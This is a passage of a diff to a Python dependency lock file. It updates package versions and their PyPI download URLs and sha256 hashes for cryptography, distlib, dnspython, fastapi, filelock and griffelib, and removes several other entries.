+ { url = "https://files.pythonhosted.org/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl", hash = "sha256:7afa5a6602a9f29af1f3a2965f831bae7c9d5d597b7cbb716d41ab3b7d89879c", size = 3824692, upload-time = "2026-09-30T14:44:11.671Z" }, + { url = "https://files.pythonhosted.org/packages/ce/cb/52eb3770c0d0be2702a98c6e96065ddc0a2877cf0845aa9c23397c142cd4/cryptography-50.0.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f785f6161f202ab04d8ca194158968798e480ca058943907972da5f12e2881e8", size = 3892731, upload-time = "2026-09-30T14:44:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/19/8e/aa1fc533d4546b127b45de8aa024eb5933d23eff9debfe25931e56861095/cryptography-50.0.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0ecbc5652bdb6fc9eaf89a7d196e20941adfe812f43bc4ca05d9150496821047", size = 4710431, upload-time = "2026-09-30T14:44:15.427Z" }, + { url = "https://files.pythonhosted.org/packages/6a/64/72bc3f75176e7e406b748a3e3830432b8c51297b38368713df04dc04898a/cryptography-50.0.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ab50ee449bf968271e820086f10a33d101dd060370abc10bcd22279be2656539", size = 4694824, upload-time = "2026-09-30T14:44:17.69Z" }, + { url = "https://files.pythonhosted.org/packages/4e/c6/62c77550edfa5ca3f14bf44a1e6739b9fa09d6e998a11d97ed8213bccc98/cryptography-50.0.2-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:a9f7355e6fab51f6c369b86fb7571cffa05edee2c2121e0380a37fb9ac1cd5c1", size = 4716967, upload-time = "2026-09-30T14:44:19.661Z" }, + { url = "https://files.pythonhosted.org/packages/f4/37/cce70f150c432914460157a6ecc161752e053aa5ec0ef3b3f7dc6e31039a/cryptography-50.0.2-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:94e5e9f108ee10471288214d3d233fbfbb492840a8457eb85178d643ddeb32c7", size = 5328676, upload-time = "2026-09-30T14:44:21.744Z" }, + { url = "https://files.pythonhosted.org/packages/aa/9a/6f2f0304d634ceafdeaf23e84537336664ac419b5d07611675c2ad3f6b7a/cryptography-50.0.2-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:241449bf940a5d27309bd317e6f9a2af6932113818bb2b8f5c59ddc7ef16da18", size = 4727698, upload-time = "2026-09-30T14:44:24.178Z" }, + { url = "https://files.pythonhosted.org/packages/1d/de/66bcf9244d118663b2e1aaded8990f4640e3d7b7411870a5765f252074d2/cryptography-50.0.2-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d8947001be83df1394050758ce0e745dd74fb134eef0a4b5124208dfc3a68c37", size = 4354821, upload-time = "2026-09-30T14:44:26.263Z" }, + { url = "https://files.pythonhosted.org/packages/bd/e6/db28a28c7b6c676addce89136de3d8db49ea825a8c863472e36e42ead4ad/cryptography-50.0.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4a20ce1e5cb4284a86692fdcba7cb8754185c6b2e5c56fcef3751cf451d3cdc2", size = 4716748, upload-time = "2026-09-30T14:44:28.447Z" }, + { url = "https://files.pythonhosted.org/packages/30/96/01546c7f69ea0e2ab790a2e4f0934a4052fb9b388147fbf83c2fd72f1e57/cryptography-50.0.2-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:84f964e537f916e2cc85199e5a88742e964939b575ac8598b3f9d6cc416cdaf1", size = 5285085, upload-time = "2026-09-30T14:44:30.704Z" }, + { url = "https://files.pythonhosted.org/packages/6c/01/03263395f74d50b071e9e66daace3f8bef80493e5d410726f2ba8554736b/cryptography-50.0.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:828d49b0ff5a0e3975865571c5d91dbbdd0d38d8289b249a163e9425413a5e05", size = 4727268, upload-time = "2026-09-30T14:44:32.92Z" }, + { url = "https://files.pythonhosted.org/packages/eb/94/2bfe8f29ec0cc9c0d99359c4161adf32858e4934b72c6d100d2ac0bbe962/cryptography-50.0.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:deb9fde5c60e437ee4821bc9bc39ff31b42135c27e1dc61ef0a629389c1de62e", size = 4849503, upload-time = "2026-09-30T14:44:34.969Z" }, + { url = "https://files.pythonhosted.org/packages/54/44/e80651ecbf0e42b62e2bb5f5768916e07eea72e1297338956a61df361f88/cryptography-50.0.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:8c71ba2cd31fc93748c38e1b613200ff1c2665cbfd5341fe3a61cfde35a1430e", size = 5004057, upload-time = "2026-09-30T14:44:37.064Z" }, + { url = "https://files.pythonhosted.org/packages/f8/cc/1d33befb3cd7ea7e77d2d73f43f2066471da1b21f24a6156efcaabf6d2e8/cryptography-50.0.2-cp314-cp314t-win_amd64.whl", hash = "sha256:78198641e5be9521beea5aa782bb551a58068d10e6eb04c9c680c1b69f2e7d45", size = 3795868, upload-time = "2026-09-30T14:44:39.71Z" }, + { url = "https://files.pythonhosted.org/packages/2d/49/93f6a6e7a87c9aa68d44d3e1cdb5fe8f60c90d5d2f46acae9a56892816b8/cryptography-50.0.2-cp315-abi3.abi3t-macosx_11_0_arm64.whl", hash = "sha256:edc3342adf8f697fc5f59c887a304356f147b397809440ed64e2fa6af2f50f37", size = 4133708, upload-time = "2026-09-30T14:44:41.807Z" }, + { url = "https://files.pythonhosted.org/packages/8c/75/32ac2a56243d778805c16ca6a32b8f74fb757df7e28d7ecb560afafb59cf/cryptography-50.0.2-cp315-abi3.abi3t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d370b8d1dfcdf7130178137f6fbee6140774a1acc6cacefc4b42643ec11d0a3a", size = 4956267, upload-time = "2026-09-30T14:44:43.693Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a4/2c8d734e43d97f0842ee9f1b7b4bfb3d0cf5e19edebf43c2afe6675c2320/cryptography-50.0.2-cp315-abi3.abi3t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f2f9bd7f90c64fe89253f0a2c05e3c4856072660429ce8831b4235bf29403a67", size = 4966465, upload-time = "2026-09-30T14:44:45.769Z" }, + { url = "https://files.pythonhosted.org/packages/c2/58/ee288c829a6f41f6235ae9dd33d82fd19b45442b65b4c8a3da36963d9f7a/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_28_aarch64.whl", hash = "sha256:e275096ea1e60cc595cda2836fd4a6c725d1125108b868be17f53684d164e2cc", size = 4959356, upload-time = "2026-09-30T14:44:48.211Z" }, + { url = "https://files.pythonhosted.org/packages/92/20/9ded6d51ddd9897f6b6e81fb9ebea7951d7cc5d6c890b0ed8abf77a51a80/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_28_ppc64le.whl", hash = "sha256:b13478603dcd0a2479ff8e87e2c19a7d525734686fe3c49542472293a204212d", size = 5548822, upload-time = "2026-09-30T14:44:50.86Z" }, + { url = "https://files.pythonhosted.org/packages/02/a8/8df951850d6b31d2a00218f19e2b3f999523437ed7a819df7fa427942fca/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_28_x86_64.whl", hash = "sha256:58a0c478eeca76fe5e07993c5a0703def34a6dc6a0cda4f5564639b33112ffe7", size = 5001199, upload-time = "2026-09-30T14:44:53.379Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f9/36b3022218ce75b7cdf068fb95f809f9bd0d820e4955ef43b90c255cc7ac/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_31_armv7l.whl", hash = "sha256:d38cdff612d06fa6a32840d5e1b1f7a27cee4a349aa9085d94a67789d6bfd408", size = 4629333, upload-time = "2026-09-30T14:44:55.635Z" }, + { url = "https://files.pythonhosted.org/packages/8c/72/20f99a219f6af47cdd1cbd978c243b92d71496e168a746138af44ded4f29/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_34_aarch64.whl", hash = "sha256:fdd28f912fccfec1846a94e2e1e8f9b0012f557f0c46fe4f3eb0d7a87afcf90b", size = 4958822, upload-time = "2026-09-30T14:44:59.639Z" }, + { url = "https://files.pythonhosted.org/packages/f2/20/196f112617fb08eb4d608a2a6c422373d46f9cc2857f38fc0667033c0899/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_34_ppc64le.whl", hash = "sha256:cbc8738fd8526d80f35cb3a40d41f41a2e7030bb3b18b09a6778ef63d291c2fd", size = 5506351, upload-time = "2026-09-30T14:45:02.267Z" }, + { url = "https://files.pythonhosted.org/packages/24/95/83378121ef3eaaaf71d4b781577ff794acb39b9e1b87a3f156898c8497ed/cryptography-50.0.2-cp315-abi3.abi3t-manylinux_2_34_x86_64.whl", hash = "sha256:e105ab60406787da31fccc883fc0f733af1efd78f0136a4599692c4083a73d0c", size = 5000859, upload-time = "2026-09-30T14:45:05.009Z" }, + { url = "https://files.pythonhosted.org/packages/22/f7/70fd7ae4d1dbfa7ba29b02e1b9068771519a86027756510b700ce81086a8/cryptography-50.0.2-cp315-abi3.abi3t-musllinux_1_2_aarch64.whl", hash = "sha256:6f8700550aa1474a91e5dc07049c46f98b423b5b1ddd0483e0b51362eeeaf5be", size = 5092151, upload-time = "2026-09-30T15:29:15.932Z" }, + { url = "https://files.pythonhosted.org/packages/d4/be/688367b74de86984bd58d8efacfc7c9e68b89a6a22ced0fb4f38db50254a/cryptography-50.0.2-cp315-abi3.abi3t-musllinux_1_2_x86_64.whl", hash = "sha256:c71be1cbfa5cd9a41ee452acf1eccd82b2c05950358b106ec8ceb83411d1a020", size = 5286120, upload-time = "2026-09-30T15:29:18.309Z" }, + { url = "https://files.pythonhosted.org/packages/39/d1/55f8a3f2ef5d1529e16835ef10cf0fe3d559ce237b46dddc440c0bba3649/cryptography-50.0.2-cp315-abi3.abi3t-win_amd64.whl", hash = "sha256:c423ab384a46c4dff7217b2ea5ba2e11cffdeab6441acd04cf65a369caf0366c", size = 4111557, upload-time = "2026-09-30T15:29:20.155Z" }, + { url = "https://files.pythonhosted.org/packages/23/ad/ac987755d00e1e64273760228d2635ae38dae2be83e3c6e0d3289d91dec3/cryptography-50.0.2-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:0ec5f09541743261e66e291b4a0cbf0fb2997aeaab6d9e9c740b9dba1b58d1c2", size = 3943588, upload-time = "2026-09-30T15:29:22.265Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8d/6d585339bedf85d45044c85d8412dac53f2bb6f918e8b7777efba1787844/cryptography-50.0.2-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c5e67125c7dca78d199ec4e116aa93dbb83494808ecbb8211a2cb09b1bf41dbd", size = 4756166, upload-time = "2026-09-30T15:29:24.58Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f1/1c1f6874e8550cfddd4b688ceb38cefb6ed15ceed224d56f133f3d88c214/cryptography-50.0.2-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:ee247f5c245c9a2fe7c8e2214e295918838e44e00a45a6718451e4004219e767", size = 4749145, upload-time = "2026-09-30T15:29:26.807Z" }, + { url = "https://files.pythonhosted.org/packages/c1/63/61b15dc1a8de03fe0adbe3fd7608b3ad5c73bf50993bbcb1faaa930afe33/cryptography-50.0.2-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dfe9763530994147d9af1def057a5b9658b00e8f8fe8743d144d1e0911c2e454", size = 4763638, upload-time = "2026-09-30T15:29:28.588Z" }, + { url = "https://files.pythonhosted.org/packages/fc/35/b345bdfa40c9126df1a9d33236aa98418367931b8725f84fc3ae2b98dc59/cryptography-50.0.2-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:58ddb5a8e3179d12f19e4ea34d2d32e9d63a4baa142c875c1eb59f41b7243acd", size = 5382217, upload-time = "2026-09-30T15:29:30.589Z" }, + { url = "https://files.pythonhosted.org/packages/4f/87/ef344a9e616871f2519c22d6afcda79ddd5d35e9592d95eb6e677608d055/cryptography-50.0.2-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f21e8a22c8605750c7af886bab299a363721264061b4ac0a30efb73cfd58efc5", size = 4781387, upload-time = "2026-09-30T15:29:32.605Z" }, + { url = "https://files.pythonhosted.org/packages/90/5b/f2fdb13cd0b96f6f932c8627bb292a45f11c64d21620a8e120aee9a3b848/cryptography-50.0.2-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:9c8402a82ea0dc4ceeab793db05f0fafa8ca139ca34fcde5df0f596103c74107", size = 4403790, upload-time = "2026-09-30T15:29:34.374Z" }, + { url = "https://files.pythonhosted.org/packages/bc/ce/7e4f662b1e3c393513569e402cfc85ac7da0bd3d5435e122a3140219eb2d/cryptography-50.0.2-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:0ddc924c04591c2811ca024d62ecad4f7f6f08af8939c211438f48a16bd23602", size = 4764319, upload-time = "2026-09-30T15:29:36.149Z" }, + { url = "https://files.pythonhosted.org/packages/3c/3f/86ff33ce34cc0de6847fb96e035a1a760d81652e38643f617c02ad32ef7a/cryptography-50.0.2-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:a6557e5f38e065ca9fbdaf7cfc7435ecb1d113aa81a022d1b51921ee7432e227", size = 5338560, upload-time = "2026-09-30T15:29:39.053Z" }, + { url = "https://files.pythonhosted.org/packages/40/cf/6b5c8e2fd9202d98988ab7cb5cc5c991704c4ad55f492ff408e4969f83f1/cryptography-50.0.2-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:1981f1db4630889b9ef7803fadef12b056f428cb6b85c27ba57b774793b6093c", size = 4780973, upload-time = "2026-09-30T15:29:41.251Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/8d6ebc7dded797bd0f0160d52188021211f011a2b164ef0ae1dac4587465/cryptography-50.0.2-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7a8701d6b584d76e909e3d305b7d126b41439876a5aaf76cddc67fc230eafa2e", size = 4897738, upload-time = "2026-09-30T15:29:43.106Z" }, + { url = "https://files.pythonhosted.org/packages/d4/aa/f3f6e0de7e6253b8baa8b2d8fb9d50924fa75cee3d4624bd4bc1208ee923/cryptography-50.0.2-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ce47f66801c20ec6c6632453bb5960fe38939e9306970b48b3a5a26de7745d94", size = 5058280, upload-time = "2026-09-30T15:29:44.827Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b6/a1faf3a27ae9405fb34b1713cc73b2d8a26b04d5c561578fa2e6ef3e5bb9/cryptography-50.0.2-cp39-abi3-win_amd64.whl", hash = "sha256:4e81d95e5bafc2d6e34e4bed780e53e4d5b9a2f928573428aa4d35fbec1eb0de", size = 3854095, upload-time = "2026-09-30T15:29:46.782Z" }, + { url = "https://files.pythonhosted.org/packages/1d/7a/f08d34ce09d60f89ebd391e2ebc6ba2b995e6dd7552f41820f8085f94e53/cryptography-50.0.2-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:92e665960f25fcdc73725b9cec7a3824f279ba97a98653afe9ffac2e43668f67", size = 4716035, upload-time = "2026-09-30T15:29:48.681Z" }, + { url = "https://files.pythonhosted.org/packages/45/67/e18fb65592451a2acb76e9f2fbe14e0f47a8318b4c5430f1633851d03daa/cryptography-50.0.2-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:eef4c2f3423810b3070ab391f85436d2f8bbfcb286ac15cbc73190b3563b1f1a", size = 4726917, upload-time = "2026-09-30T15:29:50.608Z" }, + { url = "https://files.pythonhosted.org/packages/83/28/38fdce17e60f6b825e69fc3b7f75e70a6612759980704697e1de4cbfaf6e/cryptography-50.0.2-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:7c6d0330c472d96f6a6afe24d80dfdf15176c33096f0a4397ae4c60f3dd3be48", size = 4715341, upload-time = "2026-09-30T15:29:52.522Z" }, + { url = "https://files.pythonhosted.org/packages/b6/b1/d9121a717e0f893c64bd6ca7702614778d7df2a5c309128a002421788516/cryptography-50.0.2-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:1ba34f04897fcdaa73f74145c25f3ec146fbd56593853e88adc2e811303c5f42", size = 4726322, upload-time = "2026-09-30T15:29:54.263Z" }, + { url = "https://files.pythonhosted.org/packages/36/8b/e6d153808bf353e152abd2fd4d8f09670d956ac78379ac46e60d7efbf04c/cryptography-50.0.2-pp311-pypy311_pp80-macosx_11_0_arm64.whl", hash = "sha256:3dc4fd8058cea1644971207d530e1a03a184a805ffc8ebdddf0599d78a331b81", size = 3873097, upload-time = "2026-09-30T15:29:56.097Z" }, + { url = "https://files.pythonhosted.org/packages/ca/1d/1271f287ff7170ddafc2aad36260c4eec20ccd2fea70f38455e9d56d427b/cryptography-50.0.2-pp311-pypy311_pp80-win_amd64.whl", hash = "sha256:7b75de3c8b3be1cdb1052747c929440c3eea46c1bc2cb8a6e3a48388e9b7b452", size = 3805376, upload-time = "2026-09-30T15:29:58.729Z" }, ] [[package]] name = "distlib" -version = "0.4.0" +version = "0.4.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/96/8e/709914eb2b5749865801041647dc7f4e6d00b549cfe88b65ca192995f07c/distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d", size = 614605, upload-time = "2025-07-17T16:52:00.465Z" } +sdist = { url = "https://files.pythonhosted.org/packages/68/bc/d36966de7304047a1001a7559fbf266c464bb5d8cc85464536ef8c9bcc32/distlib-0.4.4.tar.gz", hash = "sha256:ca4175b4ac7f71223cc30ed7248c45d2b38c2439d8ee6e498ab67ed63cf3508d", size = 621304, upload-time = "2026-10-16T13:56:34.203Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/33/6b/e0547afaf41bf2c42e52430072fa5658766e3d65bd4b03a563d1b6336f57/distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16", size = 469047, upload-time = "2025-07-17T16:51:58.613Z" }, + { url = "https://files.pythonhosted.org/packages/c1/2b/238f02a4927fa2e27aa995371d240a468b52e42eae44a678434aff736b38/distlib-0.4.4-py2.py3-none-any.whl", hash = "sha256:cf09d55b1e85a89576b036aeb71550bfd68320f3f21761ca329eadadad918638", size = 472099, upload-time = "2026-10-16T13:56:32.053Z" }, ] [[package]] name = "dnspython" -version = "2.8.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/8c/8b/57666417c0f90f08bcafa776861060426765fdb422eb10212086fb811d26/dnspython-2.8.0.tar.gz", hash = "sha256:181d3c6996452cb1189c4046c61599b84a5a86e099562ffde77d26984ff26d0f", size = 368251, upload-time = "2025-09-07T18:58:00.022Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ba/5a/18ad964b0086c6e62e2e7500f7edc89e3faa45033c71c1893d34eed2b2de/dnspython-2.8.0-py3-none-any.whl", hash = "sha256:01d9bbc4a2d76bf0db7c1f729812ded6d912bd318d3b1cf81d30c0f845dbf3af", size = 331094, upload-time = "2025-09-07T18:57:58.071Z" }, -] - -[[package]] -name = "exceptiongroup" -version = "1.3.1" +version = "2.9.1" source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.11'" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } +sdist = { url = "https://files.pythonhosted.org/packages/91/21/7fcd6780f61e9756aafaea760560509bb4111375daa2e23c1be7a89f33f1/dnspython-2.9.1.tar.gz", hash = "sha256:9a6d30e55f8dc63e6052597666112bff0586b95a2474a9deda03afbbf820d37a", size = 455302, upload-time = "2026-10-29T18:05:12.156Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/61/55/f90405bbbbd3dd8f788e92cec2d39964f5c09783f0570fc35f3bb3381485/dnspython-2.9.1-py3-none-any.whl", hash = "sha256:7c81caf8de1ed57b8cfc7e0ad4f528a0b8ceace473c7eb946df195dc9def751f", size = 360364, upload-time = "2026-10-29T18:05:10.206Z" }, ] [[package]] @@ -1162,27 +997,28 @@ wheels = [ [[package]] name = "fastapi" -version = "0.141.1" +version = "0.162.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "annotated-doc" }, + { name = "opentelemetry-api" }, { name = "pydantic" }, { name = "starlette" }, { name = "typing-extensions" }, { name = "typing-inspection" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/8a/02/91e3416a8fdd715abb903a952a6bec7cdd8d14eed55d415fc8595524c319/fastapi-0.141.1.tar.gz", hash = "sha256:e8822fc40db1e1858054d7a949a888695bc9bdce70139178e33bd2871a453ca1", size = 425799, upload-time = "2026-07-29T17:18:05.568Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e9/eb/2cf8c80abf09b2800aef0a83b41066fbfda8ee5495b7a08b9d1af40f7046/fastapi-0.162.0.tar.gz", hash = "sha256:6a22c1e2e6e32e0633ee7e170f00009a29b8228b16feb219ee42f32fd8d88a8f", size = 527867, upload-time = "2026-10-23T18:47:33.264Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/cb/03/10388a42375ee7e4ac9b94eb2c5c569c8b5795e377e701c9ac3ad63de890/fastapi-0.141.1-py3-none-any.whl", hash = "sha256:bfb91aa2d334c61cb35ba9a116fc123b3d3df31640b801cf57a7a78ec3f603b3", size = 131954, upload-time = "2026-07-29T17:18:04.364Z" }, + { url = "https://files.pythonhosted.org/packages/b4/4f/3f2c25c9b43970b5e9a08beb5e04776247edea684ddc0930f4f02f0bb6cb/fastapi-0.162.0-py3-none-any.whl", hash = "sha256:3785963de305dd09912426cb81f2d230fce98ab3521cdfe97265c8d14983128c", size = 148912, upload-time = "2026-10-23T18:47:31.734Z" }, ] [[package]] name = "filelock" -version = "3.21.0" +version = "4.2.4" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/c0/6b/cc63cdbff46eba1ce2fbd058e9699f99c43f7e604da15413ca0331040bff/filelock-3.21.0.tar.gz", hash = "sha256:48c739c73c6fcacd381ed532226991150947c4a76dcd674f84d6807fd55dbaf2", size = 31341, upload-time = "2026-02-12T15:40:48.544Z" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/28/3893324bcadf8f89b1616637468d766af3f625008c0735bf704fdfa86617/filelock-4.2.4.tar.gz", hash = "sha256:c6d8663535e1650ee430507b4ffbac7b464dd64b7647ea0112a9f406499d163d", size = 652444, upload-time = "2026-10-19T01:57:51.001Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/da/ab/05190b5a64101fcb743bc63a034c0fac86a515c27c303c69221093565f28/filelock-3.21.0-py3-none-any.whl", hash = "sha256:0f90eee4c62101243df3007db3cf8fc3ebf1bb13541d3e72c687d6e0f3f7d531", size = 21381, upload-time = "2026-02-12T15:40:46.964Z" }, + { url = "https://files.pythonhosted.org/packages/e0/1b/5e74289a1878e666bb4b65fe5805a04cafcac2aa5f519ef1ead67ef91c56/filelock-4.2.4-py3-none-any.whl", hash = "sha256:301241438c57936ef93f4243a94f2559022268bfcf9b375a9a72eb0f8db8358e", size = 162475, upload-time = "2026-10-19T01:57:49.419Z" }, ] [[package]] @@ -1197,39 +1033,13 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/f7/ec/67fbef5d497f86283db54c22eec6f6140243aae73265799baaaa19cd17fb/ghp_import-2.1.0-py3-none-any.whl", hash = "sha256:8337dd7b50877f163d4c0289bc1f1c7f127550241988d568c1db512c4324a619", size = 11034, upload-time = "2022-05-02T15:47:14.552Z" }, ] -[[package]] -name = "griffe" -version = "2.1.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "griffecli" }, - { name = "griffelib" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/00/44/63913c007814cab5ba9d36f25ad40dfc640c2e2931d195bd2d05f774a5d6/griffe-2.1.0.tar.gz", hash = "sha256:c58845df5a364feaabd05ee8c767b97b03e478da8aa18b9923553c812fb0d955", size = 244879, upload-time = "2026-06-19T12:05:41.262Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/6b/fb/3c65d392feae6c36dc2b55a14dd8270b7b35a3171c93b71a4d2ee4abf241/griffe-2.1.0-py3-none-any.whl", hash = "sha256:2ccdab17fb9cd76f278d7b5611cfc8f68cbe846d8d48df63dff80b62ecfa6f65", size = 5140, upload-time = "2026-06-19T12:05:39.913Z" }, -] - -[[package]] -name = "griffecli" -version = "2.1.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "colorama" }, - { name = "griffelib" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/8e/c6/90f85d47af96300d629b38c25b71aad9467a620cac964a39280e822efc8a/griffecli-2.1.0.tar.gz", hash = "sha256:2ff68dbee9395fdb668b10374c51683392d697b226ac60159798f4add1ee716c", size = 56913, upload-time = "2026-06-19T12:05:43.119Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/80/2f/513232ec1d5f5da182e4ce45a11427e37dd210844a9e2bca451fc9661fb3/griffecli-2.1.0-py3-none-any.whl", hash = "sha256:6e22b1423d562ddc510997b4be1fe89de59e19dcff78831c0f4bfc3b8134a718", size = 9500, upload-time = "2026-06-19T12:05:37.517Z" }, -] - [[package]] name = "griffelib" -version = "2.1.0" +version = "2.3.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/33/e4/8d187ea29c2e30b3a09505c567513077d6117861bde1fbd997a167f262ec/griffelib-2.1.0.tar.gz", hash = "sha256:762a186d2c6fd6794d4ea20d428d597ffb857cb56b66421651cbba15bdd5e813", size = 216234, upload-time = "2026-06-19T12:05:42.278Z" } +sdist = { url = "https://files.pythonhosted.org/packages/27/af/018c10bc9edd42b6ef6db2e96b09542050d5253f9b195e74bc910b2d13ab/griffelib-2.3.0.tar.gz", hash = "sha256:7b0952caf5bca6afa4bb5ee8c6a2d183fe3f21b62efc5f6c7243cb2b26d2d115", size = 234534, upload-time = "2026-09-04T15:08:17.472Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/e4/d3/5268aeabf2ad82658c4e2ff3a060648d0f02f3926cb53247c0e4d0dab49e/griffelib-2.1.0-py3-none-any.whl", hash = "sha256:cc7b3d2d2865ad0b909fcc38086e3f554b5ea7acbaa7bbb7ecaa3f5dfb7d9f00", size = 142560, upload-time = "2026-06-19T12:05:38.742Z" }, + { url = "https://files.pythonhosted.org/packages/41/63/e876e789525063c840ccfa8857febdabd6523bcef9ce7eb979b9305ea895/griffelib-2.3.0-py3-none-any.whl", hash = "sha256:1b8f9cd525681c26b1d6d574faa1371651e8459ca51d209684f50b8096ae06e0", size = 169423, upload-time = "2026-09-04T15:08:12.956Z" }, ] [[package]] @@ -1241,34 +1051,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" }, ] -[[package]] -name = "httpcore" -version = "1.0.9" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "certifi" }, - { name = "h11" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" }, -] - -[[package]] -name = "httpx" -version = "0.28.1" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "anyio" }, - { name = "certifi" }, - { name = "httpcore" }, - { name = "idna" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = 